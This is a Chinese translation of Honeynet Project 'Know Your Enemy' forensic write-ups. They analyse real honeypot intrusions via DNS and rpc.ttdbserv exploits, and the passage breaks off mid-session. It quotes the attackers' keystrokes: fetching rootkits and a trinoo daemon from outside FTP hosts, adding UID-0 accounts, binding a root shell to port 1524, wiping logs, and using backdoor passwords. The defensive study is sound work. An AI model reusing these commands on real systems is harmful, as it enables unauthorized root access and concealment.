~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

    在运行了这个漏洞利用程序之后,我们可以从/var/log/messages中看到,这个入侵者马上用crak0的帐号登陆,而后su成用户rewt——这两个用户都是由该漏洞利用程序添加的,现在这位入侵者对我们的系统终于拥有了最高权限了。 Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

    抹去踪迹

    现在这个入侵者是我们系统的root了,下一步,他要确定他不会被逮到,所以他首先察看了一下是否有其它用户登陆在系统中。
[crak0@mozart /tmp]$ w
  4:48pm   up 1 day, 18:27,   1 user,   load average: 0.00, 0.00, 0.00
USER     TTY       FROM               LOGIN@   IDLE   JCPU   PCPU   WHAT
crak0     ttyp0     1Cust102.tnt1.lo   4:48pm   0.00s   0.23s   0.04s   w

    当他确定自己是安全时,他就开始准备将自己藏匿于无形了。最常见的做法是将日志文件中所有的入侵证据先擦除,并且将某些系统中的二进制程序替代为木马——比如ps和netstat,这样一般情况下系统管理员就无法发现入侵者的踪迹了。当一切就绪时,这个入侵者就可以在你几乎无法发现他的情况下,大摇大摆地对你的系统进行完全的控制了。他们用来隐藏自已踪迹的工具,一般情况下我们称之为rootkits,一个常见的rootkits就是lrk4,通过执行它,有许多有用的程序将在一瞬间被替换以便使入侵者消失于无形。如果你想了解更多的关于rootkits的消息,可以看看lrk4的说明文件。这可能会帮助你更多地了解rootkits,我还推荐你看看hide-and-seek这篇由网络黑客写的文档,应该对隐藏踪迹更有些主意。 在系统被入侵后的短短几分钟后,我们可以观察到这个入侵者下载了一个rootkit,并且运行命令"make install"完成了对它的安装,下面就是入侵者在隐藏自身时的一些击键记录。

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

    注意到这个入侵者做了一件事,就是建立了一个隐藏目录". ",然后把rootkit放在这里面,这个目录不会被"ls"命令列出来,而如果运行了"ls -la"命令的话,这个目录看起来也象是该目录自身。当然你可以通过运行"find"命令来找出它来。(当然这必须建立在你的find没有被rootkit取代的情况下)。 mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/

    这个入侵者虽然看来对装后门木马有比较丰富的经验,担对如何清除日志文件中自己的入侵记录去没啥主意,他并非利用一些清除日志的工具如zap2或者clean来做这件事,而是直接拷贝了/dev/null(这是一个设备特殊文件,为空)到/var/run/utmp及/var/log/utmp,然后删除了/var/log/wtmp,这样,如果你发现这些文件为空,或者试图打开它的时候,你会碰上错误提示:
[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

    下一步

    现在你的系统看上去已经足够好了,入侵者往下往往会做两件事:第一,他们通过用你的机器来对网络中其它主机系统进行漏洞扫描;第二,他们希望藏得更深,并且看看他们还能从这个系统中得到什么,比如说其它用户的帐号……咱们这位入侵者选择了第二条,他在系统中安装了一个嗅探器以捕获相关的网络流量,包括telnet以及ftp的一些信息——这样他就可以获得登陆的用户名及密码,我们在/var/log/messages里看到系统在受攻击后一小段时间,网卡被置于混杂模式,以接收各种数据包了。

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. >

    当安装木马、清除日志以及开启嗅探器这些工作都完成后,入侵者离开了我们的系统,当然,一段时间后,他一定还会回来看看,嗅探器是否捕获到了一些有用的信息。

    事态控制

    当我们的这位朋友离开系统后,我就有机会好好检查一下系统究竟发生了什么。我对咱们被改变的文件、日志以及嗅探器得到的东西比较感兴趣,首先我用tripwire来判断哪些文件被修改或编辑的。需要确保,你通过可信的版本运行你的tripwire,我一般是用一个编译成静态的,存放于写保护软盘之上的的tripwire来判断的,输出如下:
added:   -rw-r--r-- root             5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added:   -rw-r--r-- root           272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root         15588 Jun   1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root         20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root         52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root         47604 Jun   3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root         9712 May   1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root       116352 Jun   1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root       115828 Jun   1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root       137820 Jun   5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root       235516 Apr   4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root         14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root         2048 Apr   4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root         19840 Jul   9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root           649 Apr 27 16:59:54 1999 /etc/passwd

    正如我们所看到的,有大量的二进制文件被改动过了,其中/etc/passwd中的两个帐号crak0及rewt已经被移除,所以咱们的入侵者只能通过上面改过的东西,来实现他后门的装载。同时还有两个文件,/usr/sbin/sniff.pid有及/usr/sbin/tcp.log。这其中/usr/sbin/sniff.pid里存放的是嗅探器的pid,而/usr/sbin/tcp.log里则存放着这个入侵者所得到的所有信息。这里入侵者的嗅探器命名为rpc.nfsd——这里的嗅探器应该是linsniff,编译后替换了正常的rpc.nfsd,这样即便系统重启,我们的嗅探器一样能顺利自己启动。下面是我们对/usr/sbin/sniff.pid运行strings命令的结果选摘。

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

    在检查了上面这些信息之后,我决定仍将这台机器放在网络上,因为我对入侵者下一步想做什么,相当感兴趣,而且我还不能让这台honeynet有任何细微的蜘丝马迹,同时把/var/sbin/tcp.log里的数据删除。

    归去来兮

    一段日子之后,入侵者又回来了,通过记录他的击键,我们可以轻易判断出他装的后门是/bin/login,这个程序允许用户以用户名rewt密码satori来登陆——登陆便是root了,其中密码satori是rootkit lrk4中的默认的。 他检查了他的嗅探器,以确定嗅探器现在还能正常动作,以及在过去的几天中,是否抓到了某些用户的帐号——你可以在文件keystrokes.txt中找到所有的击键原始记录,在记录的后面,我们看到他将嗅探器进程杀掉后,离开系统了。但一会之后,他马上又回来了,重新开启了他的嗅探器——说实话,我不太明白他为什么这么做。 这个进程持续了很长时间,此后的四天中,这个入侵者天天都会登陆上来看一看该嗅探器是否抓到了有价值的数据。并没有做更多的事情,于是我决定将机器从网络中断开了,因为从他这里,我无法学到更多东西。

    结论

    现在我们可以从头到尾地了解了一个入侵者的侵袭过程了——当他们获得了一个系统的最高权限后,首先看看是否有其它人在线,然后他们通过一些动作来隐藏踪迹、清除日志、删除或者修改某些特定的文件,当他们认为自己安全隐藏时,他们就开始做一些对系统侵害更大的事情了。这种入侵方式最常出现在一种新的漏洞被揭示,漏洞利用程序公布的时候——这时这些入侵者需要的仅是非常简单的技巧了。因此如果你是一个系统管理员的话,我建议应该要尽量地完善你系统的安全性,基本的一些防御会使你的系统抵挡得住大多数的攻击,你可以查看Armoring Linux或者Armoring Solaris来获得一些使主机更安全的思路。如果你感觉机器已经遭受入侵,建议你访问CERT的站点"Recovering from an Incident"以获得帮助。


Know Your Enemy--暗战

此文章是Know Your Enemy系列,前三篇文章涵盖了关于black-hat团体所使用的工具和策略,这文章描述black-hat是怎样一步步成功攻击系统的,这里的重点是在我们怎样知道攻击者的信息。也提供你一些分析和熟悉你自身系统上存在的威胁的思路。这里也有一在线,交互的版本发布在MSNBC上。

背景

此文信息通过honeypot获得,这里的Honeypot安装在REDHAT6.0上,REDHAT是默认的服务安装,所以讨论的漏洞存在在任意默认安装的REDHAT系统上。而且所有数据没有被处理过。下面分析的所有IP地址,用户帐号,和击键的信息是真实的,除了密码信息,这样是为了更直接的了解整个过程。所有SNIFF信息是通过SNORT格式体现的;SNORT是一个常用的嗅探器,对于检测系统入侵分析来说是一个不错的工具,我使用了在http://www.whitehats.com/上的MAX VISION 的IDS特征。你可以在arachNIDS数据库中查更多有关在此文章中的所有警告信息。你可以在这里找到我的SNORT配置信息和特征文件,包括我使用的命令行选项。

攻击行为

在四月26号,snort提醒我其中的一个系统正受到一个'noop'攻击,信息包装载包含noops的信息,在此情况下,SNORT探测到攻击和记录了警告信息到/var/log/messages文件中(使用swatch来监控),注意这文中172.16.1.107的IP地址是含有honeypot的机器,其他的地址是black-hat(黑帽子)使用的IP地址。

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 我的honeypots每天接受无数探测,扫描和查询,而且下面的一个警告信息使我注意到其中一个系统可能被破坏,下面的系统LOG信息指示攻击者正开始了一个连接和LOGIN了系统:

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这是怎样完成的呢,我们下面开始分析:)。

分析

当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪里开始的,攻击者一般开始是收集系统信息,可以让他获得系统所存在的漏洞,如果你的系统被破坏,这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统的连接获得初始化的信息。所以我们从最开始的信息收集开始,从第一条信息可以知道攻击初于53端口,这表示在我们系统上发动了一个DNS攻击,所以我通过我的snort alerts来发现一些DNS可能的信息探测,我们发现一DNS版本查询探测的信息:

Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测后的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关于DNS漏洞的信息,扫描以后,攻击者查看扫描结果,获得系统漏洞信息,然后启用他们的EXPLOIT。这样我们可以得到如下结论:在4月25号被检测后,后一天被侵入,通过我们的IDS警告,我们获知我们是被DNS漏洞攻击。

The Exploit

类似于大多数商业IDS系统,snort可以显示我们所有IP信息包装载数据,我们就使用这功能来分析EXPLOIT,这个EXPLOIT信息可以从snort的LOG记录获得(存储在tcpdump两进制格式)。我查询snort的LOG记录并开始分析攻击开始时候的信息包,我没有把信息限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个不同系统来运行这个EXPLOIT,这个EXPLOIT的目标是在远程主机上获得ROOT SHELL,一旦攻击者获得ROOT SHELL,他们可以以ROOT身份运行所有命令,还通常会在/etc/passwd和/etc/shadow文件中增加帐号,下面的细节中是获得ROOT SHELL后执行的一些命令:

cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow

从上面可以知道,攻击者运行了uname -a 查询了系统,和PWD查询当前目录,和ID查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂的意思),要知道,大多数系统中不允许UID为0的帐号远程TELNET,所以起建立了一个可以远程TELNET的帐号,并建立了以后可以SU到ROOT的帐号。在90秒内攻击者利用了EXPLOIT程序进入系统,并获得ROOT权利(可以通过下面的LOG记录)

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

现在要分析其下一步将做什么?

获得访问权利后的活动

比较幸运的是,TELNET是明文协议,对数据没有进行加密,这表示我们可以解开其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,通过捕获对TELNET会话的击键记录,我们可以判断攻击者在做何工作,snort捕获了不但是STDIN(击键),而且还有STDOUT 和STDER记录,让我们来看看TELNET会话和入侵者的活动吧:注释文件我们用红色来标明).

开始,我们的朋友以twin身份TELNET系统(从213.28.22.189),并获得超级用户身份-hantu,这里要记住他不能以UID为0的身份TELNET。

#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r

下一步,攻击者去其他机器抓取ROOTKIT程序,如下:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

他FTP获得了后门程序,编译了bj.c,并安装代替了/sbin/login程序,(从下面的记录来看,攻击者使用了COPY和粘贴的工作):

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant

然后他起用了后门程序:

[root@apollo /]# chown root:bin login
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c

后来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了后门:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.

这是攻击者第二次尝试了编译后门,注意他还是使用"cut 和 paste" 命令:

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast

我们注意到编译的后门被采用,并把合法的/bin/login移到和命名为了/usr/bin/xstat,并把编译后的bj.c代码代替了/bin/login,这个后门程序允许任何人把TERM设定为ct9111可以进行不用认证的访问:

[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login

下面的是攻击者摸去其脚印的活动,我相信他使用了脚本程序,并使用了CUT和PASTE,因为注意所有命令的执行只有一个命令提示符,并从下面的记录我们可以知道这个清理的脚本语言名字为'generic' ,注意它是怎样删除这些文件的:

[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory

这里发现了一个有趣的事情,这个攻击者使用的generic清理脚本在尝试删除不存在文件的时候产生了错误,我判断攻击者看到了这些信息并尝试了手工删除这些文件,经管这些文件不存在:

rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
logout

到这里为止,他离开了系统,并安装了bj.c后门,这个后门允许未认证的访问,只要把TERM设置为VT9111即可。后来,攻击者又多次进行了连接后修改系统。

安装trinoo

在系统被攻击后,我离线检查了系统上的数据,如使用Tripwire,后来,我注意到下一星期多个系统又尝试连接这台机器,很明显攻击者想再次回来,所以,我又把这台机器接上来INTERNET,很好奇想知道这个攻击者想在这机器上再做些什么事情,果然,两星期后,攻击者又回来了,我们再次记录了他的击键记录,检查了TELNET会话进程并知道怎样使我们的系统安装了TRINO 客户端程序:

在5月9号,10:45早上,攻击者从24.7.85.192 再次TELNET机器,注意其设置了VT9111不认证进入了系统:


!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin   cdrom   etc     home   lost+found   proc   sbin   usr
boot   dev     floppy   lib   mnt         root   tmp   var

在系统上,他想使用DNS,但是,这台机器上的DNS服务已经被破坏,因为DNS被用来EXPLOIT获得ROOT权限,因此系统不能在解析域名了:

[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101

攻击者在FTP系统到新加坡并下载了一些新的ROOTKIT工具,注意建立了一个.s的隐藏目录并存储了ROOTKIT工具:

[root@apollo /]# mkdir .s
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.

他在那台机器上也使用了相同的用户名字:

Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns

攻击者安装和使用了Trinoo客户端,下一步他尝试跳到另一台机器,注意他又设置了不同的VT TERM,这次连接没有成功,因为DNS解析没有成功:

[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit

这个朋友离开不久,并从其他系统上有返回来(137.132.216.35) :

!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit

根据下面的这些活动,可以知道其尝试使用TRINOO攻击其他系统,这个时候,我断开了系统的连接,攻击者企图使用控制的机器并想破坏其他系统的目的,可以通过监视系统的连接获得:

May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335

概括

我们这里一步步的讲述了我们设置的honeypot服务器是怎样被破坏的,怎样被安置了后门和最后被使用为Trinoo攻击,April 25号,攻击者第一次扫描honeypot的DNS版本,然后在26号,他执行了NXT-NAMED 漏洞利用程序获得了一ROOT SHELL,一旦它获得了ROOT SHELL,她建立了2个系统帐户,twin和hantu,接下来她马上telnet到机器,获得超级用户访问,然后下灾和安装她的后门bj.c(见下代码),然后她在执行一脚本来清除踪迹,接着离开系统,接下来的星期,她尝试连接系统,但它已经离线了,最后,在5月9号她接着访问,安装和执行Trinoo。到这时我们的honeypot完成了任务。这里是一些另外的分析。

结论

我们这里讲述了honeypot是如何被入侵的,目的是为了使用Forensic anaylisis系统和IDS记录来了解攻击者动向,通过分析这次分析,你应该对分析系统攻击有一个较好的了解。如果你想了解更多这方面的信息,请看:英雄本色

我这里要感谢Marty Roesch 和Max Vision对我们的贡献,没有他们的辛勤工作我做不到这步。所有记录和信息在发表之前已经传递给CERT。而且我们也联系了所有有关这次攻击的IP。


Know Your Enemy-黑客心灵

    该篇文章是系列之一,该系列主要介绍黑客社团使用的工具和策略。本文不像该系列其他的文章主要介绍黑客社团怎样怎样、特别是他们使用的技术和工具的实现,而是分析他们的动机和心理。第一部分介绍一台Solaris 2.6系统被入侵,第二部分所提到的很少有相关信息发布,介绍在黑客入侵系统后14天内在“蜜罐”中的通话和行动记录,通过这些信息我们可以了解他们为什么和怎样攻击计算机系统。在入侵后,他们紧接着在系统中放置了一个IRC bot,这个东西是由黑客们所配置和实现的,用来抓取在IRC频道中的所有聊天记录。我们在这两个星期当中一直监视这些记录,所有的信息都罗列在下面。这篇文章并不是要对整个黑客社团的行为作一个概括,相反,我们通过在事件当中一些个体行为的介绍,来给大家一些提示”他们当中某些人怎样想和怎样做“,这也是我们在安全领域所面对的一些普通现象,我们真诚的希望其他安全人员能够从中受益。

    下面的所有信息是通过"honeynet"得到的。"honeynet",顾名思义,就是由网络上大量的"蜜罐"所组成,"蜜罐"最简单的定义就是通过精心设计的将被黑客社团所攻击的目标主机。一些"蜜罐"是用来分散攻击者攻击真正主机的注意力,另外一些是用来学习攻击者所使用的工具和策略的,我们这里所提到是属于后者。在本文中提到的很多信息被做了一些修改,特别是用户名和口令、信用卡号、以及很多主机名,其他如确切技术细节、工具以及聊天记录我们并没有作修改。所有信息在被发布之前都已经递交给CERT和FBI,同时对于哪些我们确信遭受入侵的系统,大约发了370份通告给它们的管理员。

    前言(译略), by Brad Powell

    第一部分:入侵

    我们这里使用的"蜜罐"是缺省安装的Solaris 2.6系统,没有任何修改和安装补丁程序。在此讨论的漏洞在任何缺省安装没有使用补丁程序的Solaris 2.6系统上都存在。这也是整个"蜜罐"的设计意图,在系统上布置漏洞并学习它是如何被攻破的。在被攻击过程中,我们可以学习黑客社团所使用的工具和策略。同时"蜜罐"本身也被设计跟踪黑客的每一步行为。

    在2000年6月4日,我们的缺省安装Solaris 2.6的"蜜罐"遭受到针对rpc.ttdbserv漏洞的攻击,该漏洞允许在ToolTalk 对象数据库服务上通过溢出远程执行代码(见CVE-1999-0003)。该漏洞在SANS组织的TOP 10上名列第三。我们使用基于sniffer的免费IDS系统Snort检测到该攻击的。

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill:
192.168.78.12:877 -> 172.16.1.107:32775

    rpc.ttdbserv漏洞允许远程用户通过缓冲溢出攻击在目标系统上以root权限执行任意命令。下面是攻击者在攻击成功后,在系统上安装后门,具体如下所示:攻击者在'/tmp/bob'文件中加上ingreslock服务(在/etc/service预定义的,端口1524),然后以改文件作为配置文件重新启动inetd,这样/bin/sh被以root权限帮定在1524端口,给予了远程用户root存取权限。

/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>
/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

    当黑客安装了后门,他紧接着连接到1524端口,作为root获得一个shell,并开始执行如下命令。他增加了两个系统用户帐号,以便以后可以telnet上来,注意这里的错误和";"控制字符(因为1524端口的shell没有正确的环境)。

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;

    此时,攻击者在我们系统上拥有了两个帐号,他可以以're'用户telnet上来,并可以通过su成UID为0的'r'用户来获得系统root权限。我们将回顾一下攻击者当时以及后来的击键记录。

!"' !"P#$#$'LINUX' SunOS 5.6 login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r

    现在黑客拥有了root权限,一般来首,下一步要做的就是安装一些rootkit并控制系统。首先我们看到黑客在系统上产生一个隐藏目录来隐藏他的工具包。

# mkdir /dev/".. "
# cd /dev/".. "

    在产生隐藏目录后,黑客开始从其他机器上存取rootkit。

# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
